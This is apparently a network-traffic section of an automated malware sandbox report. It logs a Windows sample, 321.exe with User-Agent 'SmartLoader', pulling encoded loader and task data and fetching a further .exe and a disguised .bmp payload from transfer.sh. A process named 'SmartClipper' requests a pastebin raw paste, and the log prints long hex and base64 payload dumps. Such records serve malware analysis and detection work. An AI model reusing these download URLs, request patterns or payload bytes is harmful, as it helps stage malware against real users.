Apr 21, 2023 01:04:19.212634087 CEST	8177	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Apr 2023 23:04:19 GMT Content-Type: application/json Content-Length: 1400 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jzFw%2Bbd6EOTdp10tYJIIAgo5lFT3yeZo8R8wH2hRg8fJ9mHe2p9OP6cYXT74g7%2BGqG7PA4nmsuyvhgL%2BMt8NDxH9pZbahD6GZYcqSYD3sYSQ1JnIGSZyEiTcaS4Eu5%2Bt7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 7bb1068f39c8376f-HEL alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 7b 22 6c 6f 61 64 65 72 22 3a 22 59 7a 49 73 4e 7a 6b 73 59 7a 51 73 5a 54 41 73 5a 47 4d 73 4f 54 6b 73 59 7a 59 73 59 32 45 73 5a 44 63 73 5a 47 49 73 59 6d 45 73 59 6d 51 73 59 57 51 73 4f 57 49 73 59 6a 67 73 59 54 59 73 59 7a 55 73 4f 57 49 73 4f 57 59 73 4f 44 6b 73 4e 6a 63 73 59 54 45 73 4f 44 63 73 4e 47 59 73 59 6a 45 73 59 7a 55 73 5a 54 63 73 59 7a 67 73 59 6a 6b 73 59 54 55 73 5a 47 4d 73 4e 54 6b 73 4f 44 45 73 4e 7a 63 73 4f 54 4d 73 4f 54 4d 73 4f 47 4d 73 4e 57 45 73 59 7a 55 73 59 6d 4d 73 5a 54 51 73 5a 44 67 73 59 32 45 73 59 7a 55 73 59 57 49 73 4f 54 55 73 4e 7a 59 73 4e 32 49 73 4e 7a 4d 73 5a 6a 51 73 4f 44 63 73 5a 47 51 73 4f 57 59 73 5a 54 49 73 59 32 4d 73 4e 47 59 73 4f 47 45 73 4e 7a 41 73 59 54 6b 73 4f 44 6b 73 4e 7a 63 73 4e 57 4d 73 4f 47 55 73 4e 54 6b 73 59 6d 45 73 59 32 49 73 59 7a 4d 73 5a 47 49 73 5a 54 45 73 59 57 49 73 4e 7a 55 73 4f 54 45 73 4f 54 67 73 5a 57 49 73 59 7a 63 73 59 32 4d 73 59 57 51 73 59 57 45 73 4f 44 41 73 4e 6a 45 73 4e 7a 55 73 5a 57 51 73 59 7a 59 73 59 32 49 73 59 54 49 73 5a 47 45 73 5a 47 49 73 4e 47 59 73 4f 47 45 73 4e 7a 41 73 5a 57 55 73 4e 32 49 73 59 6d 49 73 4f 54 55 73 5a 54 59 73 59 57 49 73 4e 6a 6b 73 4f 54 45 73 4f 44 49 73 4f 44 6b 73 59 57 51 73 59 54 59 73 4e 7a 4d 73 59 6d 4d 73 5a 57 45 73 5a 54 6b 73 59 7a 51 73 59 7a 6b 73 4e 6a 67 73 4f 57 4d 73 59 6a 63 73 59 54 51 73 59 7a 67 73 5a 57 49 73 5a 44 63 73 59 32 55 73 4f 57 45 73 4f 54 63 73 4f 54 4d 73 4e 47 51 73 4e 7a 49 73 59 7a 4d 73 5a 54 63 73 59 6d 45 73 59 6d 49 73 59 54 55 73 5a 54 45 73 4e 54 6b 73 4f 44 45 73 4e 7a 63 73 59 7a 67 73 59 7a 67 73 5a 44 67 73 59 57 49 73 59 6a 67 73 5a 44 51 73 5a 6a 55 73 22 2c 22 74 61 73 6b 73 22 3a 22 59 54 49 73 5a 44 49 73 4f 44 51 73 5a 44 41 73 5a 44 41 73 4e 57 45 73 4f 47 51 73 4e 7a 63 73 59 57 51 73 59 54 67 73 4f 44 6b 73 4f 44 4d 73 4e 6a 67 73 4e 47 59 73 59 7a 41 73 59 57 45 73 59 7a 45 73 5a 54 51 73 4f 44 63 73 59 54 4d 73 4e 54 59 73 4f 54 63 73 59 32 59 73 59 54 45 73 59 7a 51 73 59 7a 41 73 5a 54 59 73 4f 54 4d 73 Data Ascii: {"loader":"YzIsNzksYzQsZTAsZGMsOTksYzYsY2EsZDcsZGIsYmEsYmQsYWQsOWIsYjgsYTYsYzUsOWIsOWYsODksNjcsYTEsODcsNGYsYjEsYzUsZTcsYzgsYjksYTUsZGMsNTksODEsNzcsOTMsOTMsOGMsNWEsYzUsYmMsZTQsZDgsY2EsYzUsYWIsOTUsNzYsN2IsNzMsZjQsODcsZGQsOWYsZTIsY2MsNGYsOGEsNzAsYTksODksNzcsNWMsOGUsNTksYmEsY2IsYzMsZGIsZTEsYWIsNzUsOTEsOTgsZWIsYzcsY2MsYWQsYWEsODAsNjEsNzUsZWQsYzYsY2IsYTIsZGEsZGIsNGYsOGEsNzAsZWUsN2IsYmIsOTUsZTYsYWIsNjksOTEsODIsODksYWQsYTYsNzMsYmMsZWEsZTksYzQsYzksNjgsOWMsYjcsYTQsYzgsZWIsZDcsY2UsOWEsOTcsOTMsNGQsNzIsYzMsZTcsYmEsYmIsYTUsZTEsNTksODEsNzcsYzgsYzgsZDgsYWIsYjgsZDQsZjUs","tasks":"YTIsZDIsODQsZDAsZDAsNWEsOGQsNzcsYWQsYTgsODksODMsNjgsNGYsYzAsYWEsYzEsZTQsODcsYTMsNTYsOTcsY2YsYTEsYzQsYzAsZTYsOTMs
Apr 21, 2023 01:04:19.212698936 CEST	8178	IN	Data Raw: 4e 7a 59 73 4e 57 59 73 5a 54 49 73 59 54 6b 73 59 54 67 73 59 7a 55 73 5a 44 55 73 59 32 51 73 5a 44 45 73 59 57 45 73 4f 44 45 73 59 32 45 73 5a 54 41 73 59 54 59 73 59 6d 4d 73 59 6d 4d 73 59 6d 4d 73 4e 57 4d 73 59 32 49 73 4f 44 49 73 4f 54 Data Ascii: NzYsNWYsZTIsYTksYTgsYzUsZDUsY2QsZDEsYWEsODEsY2EsZTAsYTYsYmMsYmMsYmMsNWMsY2IsODIsOTcsZWEsOWQsZDcsNjUsYTksOWEsNjEsODEsODIsYTYsOGQsN2EsNjMsOWYsNmIsNzksODUsYzcsZGYsZDEsNWEsN2YsNzcsOWEsZGQsYmUsYzMsYWQsOGMsYzQsYTIsYzcsZTEsODcsYTMsNTYsOTcsYmIsOTIsYmQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49696	144.76.136.153	80	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data
Apr 21, 2023 01:04:19.366595030 CEST	8178	OUT	GET /get/wADq8n/434123433142.exe HTTP/1.1 Content-Type: application/json User-Agent: SmartLoader Host: transfer.sh
Apr 21, 2023 01:04:19.389460087 CEST	8179	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Thu, 20 Apr 2023 23:04:19 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://transfer.sh/get/wADq8n/434123433142.exe Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49698	104.20.68.143	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Apr 21, 2023 01:04:33.858227968 CEST	9423	OUT	GET /raw/aCZb2pjR HTTP/1.1 Content-Type: application/json User-Agent: SmartClipper Host: pastebin.com
Apr 21, 2023 01:04:33.884875059 CEST	9424	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 20 Apr 2023 23:04:33 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 21 Apr 2023 00:04:33 GMT Location: https://pastebin.com/raw/aCZb2pjR Server: cloudflare CF-RAY: 7bb106eb99122bb0-FRA Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49682	144.76.136.153	443	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-20 23:03:00 UTC	0	OUT	GET /get/I12lIq/Cmvqi.bmp HTTP/1.1 Host: transfer.sh Connection: Keep-Alive
2023-04-20 23:03:00 UTC	32	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 20 Apr 2023 23:03:00 GMT Content-Type: image/bmp Content-Length: 2323800 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="Cmvqi.bmp" Retry-After: Fri, 21 Apr 2023 01:03:00 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.2,84.17.52.2 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1682031780 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2023-04-20 23:03:00 UTC	32	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2023-04-20 23:03:00 UTC	48	IN	Data Raw: 41 61 32 41 45 68 55 49 43 41 67 49 43 41 67 49 43 41 67 49 42 77 72 64 67 52 49 47 42 4f 47 42 45 67 45 48 42 51 67 4c 43 42 68 67 68 78 49 49 2b 49 6f 53 6f 49 41 52 43 41 6b 48 45 51 67 59 41 51 41 45 32 49 51 52 41 51 6f 46 32 49 51 52 43 67 67 59 42 41 63 49 43 44 43 45 45 6a 43 45 45 6b 79 4a 45 67 51 48 44 41 43 43 45 67 45 48 42 51 43 43 45 67 34 49 43 41 67 42 67 68 45 47 42 77 78 4d 69 52 49 42 42 77 55 4f 42 52 30 42 49 41 58 4a 67 78 49 41 41 41 57 68 67 52 47 39 67 52 4b 68 67 52 47 52 67 52 4b 31 67 52 4a 70 67 52 47 31 67 52 49 43 43 41 63 59 76 59 45 53 70 59 45 52 59 59 45 53 66 59 45 53 44 67 45 46 49 42 43 68 67 52 47 6c 67 52 45 42 41 41 6a 46 67 52 45 42 41 53 41 47 77 59 45 52 41 51 45 67 42 72 6d 42 45 51 45 42 49 41 61 68 67 52 47 Data Ascii: Aa2AEhUICAgICAgICAgIBwrdgRIGBOGBEgEHBQgLCBhghxII+IoSoIARCAkHEQgYAQAE2IQRAQoF2IQRCggYBAcICDCEEjCEEkyJEgQHDACCEgEHBQCCEg4ICAgBghEGBwxMiRIBBwUOBR0BIAXJgxIAAAWhgRG9gRKhgRGRgRK1gRJpgRG1gRICCAcYvYESpYERYYESfYESDgEFIBChgRGlgREBAAjFgREBASAGwYERAQEgBrmBEQEBIAahgRG
2023-04-20 23:03:00 UTC	96	IN	Data Raw: 67 78 49 42 67 68 45 51 43 41 49 41 43 67 68 55 45 52 41 49 41 67 41 48 56 42 45 51 43 41 45 41 42 6e 43 45 45 68 42 63 68 52 45 64 43 46 79 46 45 52 30 49 32 49 67 52 41 59 49 52 45 41 67 48 41 42 67 34 68 52 49 42 41 53 41 47 69 59 51 53 41 51 45 67 42 72 32 45 45 67 45 42 49 41 5a 64 68 42 45 42 41 53 41 47 58 59 51 52 41 43 41 46 6c 59 51 52 41 51 45 67 42 6c 32 45 45 51 59 45 6c 59 51 52 42 67 52 45 45 51 45 42 49 41 56 45 45 51 41 67 42 41 49 64 41 43 41 45 52 42 45 47 41 77 49 64 42 67 4d 4e 48 51 59 44 32 49 6f 53 41 5a 32 41 45 68 55 41 49 41 72 59 69 68 49 47 42 4e 69 4b 45 67 47 5a 67 42 49 56 41 43 41 4b 41 49 55 53 41 5a 6d 41 45 68 55 41 49 41 6f 49 32 49 6f 53 41 53 41 47 50 42 45 41 49 41 51 49 43 41 45 41 42 43 53 46 45 51 67 49 47 41 45 Data Ascii: gxIBghEQCAIACghUERAIAgAHVBEQCAEABnCEEhBchREdCFyFER0I2IgRAYIREAgHABg4hRIBASAGiYQSAQEgBr2EEgEBIAZdhBEBASAGXYQRACAFlYQRAQEgBl2EEQYElYQRBgREEQEBIAVEEQAgBAIdACAERBEGAwIdBgMNHQYD2IoSAZ2AEhUAIArYihIGBNiKEgGZgBIVACAKAIUSAZmAEhUAIAoI2IoSASAGPBEAIAQICAEABCSFEQgIGAE
2023-04-20 23:03:00 UTC	112	IN	Data Raw: 43 41 45 43 49 41 63 49 47 41 45 67 42 47 79 45 45 67 45 42 49 41 5a 73 68 42 49 47 42 42 77 42 41 53 41 45 48 41 41 67 41 31 32 42 45 67 45 42 49 41 5a 64 67 52 49 41 49 41 57 42 67 52 45 42 41 53 41 47 67 59 45 52 41 43 41 46 61 59 45 52 41 51 45 67 42 6d 6d 42 45 51 41 67 42 61 47 42 45 51 45 42 49 41 61 68 67 52 45 41 49 41 58 68 67 52 49 42 41 53 41 47 44 67 45 42 49 41 52 64 67 52 49 47 42 49 47 42 45 51 59 45 61 59 45 52 42 67 54 68 67 52 49 47 42 41 34 4f 41 51 41 45 44 4d 69 44 45 51 45 67 42 67 41 54 48 51 41 67 42 51 41 54 48 59 49 53 41 51 49 67 43 42 6d 43 45 67 41 54 41 53 41 48 41 42 4d 42 72 59 41 53 46 51 59 49 47 41 45 42 49 41 51 74 41 51 47 43 45 52 41 42 41 53 41 48 53 49 49 52 45 41 45 42 49 41 65 63 67 78 49 42 41 53 41 47 47 41 47 Data Ascii: CAECIAcIGAEgBGyEEgEBIAZshBIGBBwBASAEHAAgA12BEgEBIAZdgRIAIAWBgREBASAGgYERACAFaYERAQEgBmmBEQAgBaGBEQEBIAahgREAIAXhgRIBASAGDgEBIARdgRIGBIGBEQYEaYERBgThgRIGBA4OAQAEDMiDEQEgBgATHQAgBQATHYISAQIgCBmCEgATASAHABMBrYASFQYIGAEBIAQtAQGCERABASAHSIIREAEBIAecgxIBASAGGAG
2023-04-20 23:03:00 UTC	224	IN	Data Raw: 69 49 44 69 68 49 44 69 67 59 44 69 68 6f 44 69 44 67 41 43 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 59 44 69 68 6f 44 69 44 67 41 43 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 68 6f 44 69 44 67 41 43 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 44 67 41 44 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 43 41 41 43 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 43 41 41 46 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 42 67 41 44 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 42 67 41 43 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 42 67 41 43 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 67 49 44 69 67 34 44 69 44 67 42 7a 64 57 4e 76 52 6e 52 Data Ascii: iIDihIDigYDihoDiDgACioDiiYDiiIDihIDigYDihoDiDgACioDiiYDiiIDihIDigIDihoDiDgACioDiiYDiiIDihIDigIDiDgADioDiiYDiiIDihIDigIDiCAACioDiiYDiiIDihIDigIDiCAAFioDiiYDiiIDihIDigIDiBgADioDiiYDiiIDihIDigIDiBgACioDiiYDiiIDihIDigIDiBgACioDiiYDiiIDihIDigIDig4DiDgBzdWNvRnR
2023-04-20 23:03:00 UTC	240	IN	Data Raw: 61 48 52 6e 62 6d 56 4d 58 33 52 6c 5a 77 43 42 67 4f 4b 42 67 4f 4b 41 67 4f 4b 46 67 4f 4b 45 67 4f 4b 47 67 4f 4b 41 67 4f 4b 41 67 4f 4b 46 67 4f 4b 44 67 4f 4b 43 67 4f 4b 48 67 4f 4b 4c 67 4f 4b 46 67 4f 49 4f 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 68 59 44 69 69 34 44 69 42 67 43 49 67 4f 4b 42 67 4f 4b 44 67 4f 4b 42 67 4f 4b 49 67 4f 4b 4c 67 4f 4b 44 67 4f 4b 41 67 4f 4b 41 67 4f 4b 41 67 4f 4b 4b 67 4f 4b 49 67 4f 4b 44 67 4f 4b 49 67 4f 4b 4b 67 4f 4b 48 67 4f 4b 49 67 4f 4b 45 67 4f 4b 46 67 4f 4b 4b 67 4f 4b 45 67 4f 4b 4b 67 4f 4b 42 67 4f 4b 42 67 4f 49 43 69 6f 44 69 69 59 44 69 69 49 44 69 68 49 44 69 68 59 44 69 69 49 44 69 42 67 42 77 56 57 56 7a 64 57 39 4e 62 6b 38 41 5a 58 5a 76 54 57 56 7a 64 57 39 4e 62 6b 38 41 62 6e 64 Data Ascii: aHRnbmVMX3RlZwCBgOKBgOKAgOKFgOKEgOKGgOKAgOKAgOKFgOKDgOKCgOKHgOKLgOKFgOIOioDiiYDiiIDihIDihYDii4DiBgCIgOKBgOKDgOKBgOKIgOKLgOKDgOKAgOKAgOKAgOKKgOKIgOKDgOKIgOKKgOKHgOKIgOKEgOKFgOKKgOKEgOKKgOKBgOKBgOICioDiiYDiiIDihIDihYDiiIDiBgBwVWVzdW9Nbk8AZXZvTWVzdW9Nbk8Abnd
2023-04-20 23:03:00 UTC	256	IN	Data Raw: 39 77 4c 78 41 76 59 43 38 51 4c 31 41 76 45 43 39 41 4c 78 41 76 4d 43 38 51 4c 79 41 75 77 43 37 77 4c 73 41 75 34 43 37 41 4c 74 41 74 77 43 35 67 4c 63 41 75 55 43 33 41 4c 6b 41 74 77 43 34 77 4c 63 41 75 49 43 33 41 4c 68 41 74 77 43 34 41 4c 63 41 74 38 43 33 41 4c 65 41 74 77 43 33 51 4c 4e 41 73 38 43 7a 51 4c 4f 41 72 59 43 74 77 4b 7a 41 72 51 43 6c 77 4b 59 41 70 45 43 6b 67 4b 49 41 6f 6b 43 64 67 4a 36 41 6e 59 43 65 51 4a 32 41 6e 67 43 64 67 4a 33 41 6d 63 43 64 41 4a 6e 41 6e 4d 43 5a 77 4a 79 41 6d 63 43 63 51 4a 6e 41 6e 41 43 5a 77 4a 76 41 6d 63 43 62 67 4a 6e 41 6d 30 43 5a 77 4a 73 41 6d 63 43 61 77 4a 6e 41 6d 6f 43 5a 77 4a 70 41 6d 63 43 61 41 4a 61 41 6c 77 43 57 67 4a 62 41 6a 67 43 52 41 49 34 41 6b 4d 43 4f 41 4a 43 41 6a 67 Data Ascii: 9wLxAvYC8QL1AvEC9ALxAvMC8QLyAuwC7wLsAu4C7ALtAtwC5gLcAuUC3ALkAtwC4wLcAuIC3ALhAtwC4ALcAt8C3ALeAtwC3QLNAs8CzQLOArYCtwKzArQClwKYApECkgKIAokCdgJ6AnYCeQJ2AngCdgJ3AmcCdAJnAnMCZwJyAmcCcQJnAnACZwJvAmcCbgJnAm0CZwJsAmcCawJnAmoCZwJpAmcCaAJaAlwCWgJbAjgCRAI4AkMCOAJCAjg
2023-04-20 23:03:00 UTC	272	IN	Data Raw: 4f 77 41 41 4f 77 4d 38 7a 32 4b 61 41 41 41 37 41 54 79 39 59 70 6f 41 41 44 72 68 50 4b 70 69 6d 67 41 41 4f 73 45 38 6c 32 4b 61 41 41 41 36 6f 54 79 45 59 70 6f 41 41 44 71 42 50 48 4e 69 6d 67 41 41 4f 6d 45 38 59 57 4b 61 41 41 41 36 51 54 78 4f 59 70 6f 41 41 44 6f 68 55 77 77 42 51 77 41 41 4f 67 4e 42 6f 67 45 37 41 41 41 36 41 7a 77 37 59 70 6f 41 41 44 6f 42 55 77 45 42 34 77 41 41 4f 61 4e 53 67 41 48 62 41 41 41 35 6f 77 51 69 41 43 73 41 41 44 63 41 55 54 41 42 77 77 41 41 4e 69 4e 52 4d 41 48 44 41 41 41 32 41 31 45 77 41 63 4d 41 41 44 58 6a 4f 6f 6f 41 43 77 41 41 4e 65 46 52 4d 41 48 44 41 41 41 31 77 7a 71 4b 41 41 73 41 41 44 58 42 55 54 41 42 77 77 41 41 4e 61 4d 36 69 67 41 4c 41 41 41 31 6f 56 45 77 41 63 4d 41 41 44 57 44 4f 6f 6f Data Ascii: OwAAOwM8z2KaAAA7ATy9YpoAADrhPKpimgAAOsE8l2KaAAA6oTyEYpoAADqBPHNimgAAOmE8YWKaAAA6QTxOYpoAADohUwwBQwAAOgNBogE7AAA6Azw7YpoAADoBUwEB4wAAOaNSgAHbAAA5owQiACsAADcAUTABwwAANiNRMAHDAAA2A1EwAcMAADXjOooACwAANeFRMAHDAAA1wzqKAAsAADXBUTABwwAANaM6igALAAA1oVEwAcMAADWDOoo
2023-04-20 23:03:00 UTC	288	IN	Data Raw: 30 51 43 78 4c 49 49 49 77 51 43 67 4c 45 6f 4c 4d 57 58 5a 65 52 41 47 61 57 57 2b 65 51 51 49 4b 51 6e 7a 65 50 4d 49 4b 57 57 33 63 69 51 48 65 51 4e 45 65 4f 4d 46 69 57 57 73 64 50 38 46 53 52 63 31 65 4e 38 46 53 51 4d 45 4c 45 6f 46 65 51 42 2f 65 4e 55 49 59 57 57 4e 65 4d 6b 46 6d 57 57 48 65 4c 73 44 71 51 70 4c 4e 68 67 4a 36 57 57 42 65 4b 77 47 32 51 31 4b 65 4b 45 4a 73 51 31 4b 65 4a 59 4a 73 51 42 2f 65 49 34 4a 73 51 43 67 4c 45 6f 4a 36 57 56 76 65 49 59 44 6f 57 56 70 65 48 30 42 61 57 56 6a 65 48 51 44 30 51 6f 48 4c 45 6f 44 30 51 4d 45 4c 45 6f 44 30 51 43 67 4c 45 6f 44 30 57 56 62 63 69 51 48 65 51 43 74 65 47 4d 4b 32 51 43 74 64 45 6f 4b 6f 57 56 4d 65 46 59 4b 77 51 42 2f 63 6f 63 4b 32 51 4d 64 65 45 67 4b 32 51 43 74 65 44 73 Data Ascii: 0QCxLIIIwQCgLEoLMWXZeRAGaWW+eQQIKQnzePMIKWW3ciQHeQNEeOMFiWWsdP8FSRc1eN8FSQMELEoFeQB/eNUIYWWNeMkFmWWHeLsDqQpLNhgJ6WWBeKwG2Q1KeKEJsQ1KeJYJsQB/eI4JsQCgLEoJ6WVveIYDoWVpeH0BaWVjeHQD0QoHLEoD0QMELEoD0QCgLEoD0WVbciQHeQCteGMK2QCtdEoKoWVMeFYKwQB/cocK2QMdeEgK2QCteDs
2023-04-20 23:03:00 UTC	352	IN	Data Raw: 41 42 6a 54 41 41 45 41 41 42 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6e 65 41 41 49 41 41 68 6a 54 41 41 45 41 41 68 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 70 52 41 41 55 41 41 42 70 54 41 41 51 41 41 42 70 4b 41 41 4d 41 41 42 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 Data Ascii: ABjTAAEAABneAAIAABjTAAEAABjTAAEAABjTAAEAABjTAAEAABjTAAEAABjTAAEAABjTAAEAABjTAAEAABneAAIAAhjTAAEAAhneAAIAABjTAAEAABjTAAEAABneAAIAABjTAAEAABneAAIAABjTAAEAABpRAAUAABpTAAQAABpKAAMAABneAAIAABjTAAEAABneAAIAABjTAAEAABjTAAEAABjTAAEAABneAAIAABjTAAEAABjTAAEAABjTAAE
2023-04-20 23:03:00 UTC	480	IN	Data Raw: 41 42 6a 54 41 41 45 41 41 42 70 54 41 41 51 41 41 42 70 4b 41 41 4d 41 41 42 6e 65 41 41 49 41 41 42 6a 54 41 41 45 41 41 42 6a 54 41 41 45 67 41 52 70 4b 41 41 4d 41 41 78 6e 65 41 41 49 41 41 68 6a 54 41 41 45 41 41 42 6a 54 41 41 45 41 41 68 6e 65 41 41 49 67 41 52 6a 54 41 41 45 67 41 42 70 4b 41 41 4d 41 41 42 6e 65 41 41 49 67 41 52 6a 54 41 41 45 67 41 52 6e 65 41 41 49 67 41 52 6a 54 41 41 45 67 41 52 6e 65 41 41 49 67 41 52 6a 54 41 41 45 67 41 52 6e 65 41 41 49 41 41 42 6a 54 41 41 45 67 41 52 6e 65 41 41 49 41 41 42 6a 54 41 41 45 67 41 52 6e 65 41 41 49 41 41 42 6a 54 41 41 45 67 41 52 6a 54 41 41 45 67 41 52 6e 65 41 41 49 41 41 42 6a 54 41 41 45 67 41 52 70 4b 41 41 4d 67 41 68 6e 65 41 41 49 67 41 52 6a 54 41 41 45 67 41 52 70 4b 41 41 4d Data Ascii: ABjTAAEAABpTAAQAABpKAAMAABneAAIAABjTAAEAABjTAAEgARpKAAMAAxneAAIAAhjTAAEAABjTAAEAAhneAAIgARjTAAEgABpKAAMAABneAAIgARjTAAEgARneAAIgARjTAAEgARneAAIgARjTAAEgARneAAIAABjTAAEgARneAAIAABjTAAEgARneAAIAABjTAAEgARjTAAEgARneAAIAABjTAAEgARpKAAMgAhneAAIgARjTAAEgARpKAAM
2023-04-20 23:03:00 UTC	496	IN	Data Raw: 42 4e 47 67 45 66 51 33 74 47 50 59 42 63 59 41 67 41 41 41 41 41 41 52 38 6a 65 72 59 39 67 46 78 67 43 41 41 41 41 41 41 42 48 78 42 36 5a 6a 37 51 58 47 41 49 41 41 41 41 41 41 45 65 38 58 63 47 50 59 42 63 59 41 67 41 41 41 41 41 41 52 37 54 65 69 59 39 67 46 78 67 43 41 41 41 41 41 41 42 48 73 42 36 5a 6a 32 41 58 47 41 49 41 41 41 41 41 41 45 65 73 33 6d 32 4f 75 42 63 59 41 41 41 41 41 41 41 41 52 36 6a 65 55 59 36 34 46 78 67 41 41 41 41 41 41 41 42 48 70 41 72 56 6a 72 67 58 47 41 41 41 41 41 41 41 41 45 65 59 33 6a 57 4f 75 42 63 59 41 41 41 41 41 41 41 41 52 35 51 4d 45 59 38 4d 46 78 67 41 41 41 41 41 41 41 42 48 6b 41 77 52 6a 72 67 58 47 41 41 41 41 41 41 41 41 45 65 49 33 68 32 4f 75 42 63 59 41 41 41 41 41 41 41 41 52 33 77 6b 30 4c 45 6f Data Ascii: BNGgEfQ3tGPYBcYAgAAAAAAR8jerY9gFxgCAAAAAABHxB6Zj7QXGAIAAAAAAEe8XcGPYBcYAgAAAAAAR7TeiY9gFxgCAAAAAABHsB6Zj2AXGAIAAAAAAEes3m2OuBcYAAAAAAAAR6jeUY64FxgAAAAAAABHpArVjrgXGAAAAAAAAEeY3jWOuBcYAAAAAAAAR5QMEY8MFxgAAAAAAABHkAwRjrgXGAAAAAAAAEeI3h2OuBcYAAAAAAAAR3wk0LEo
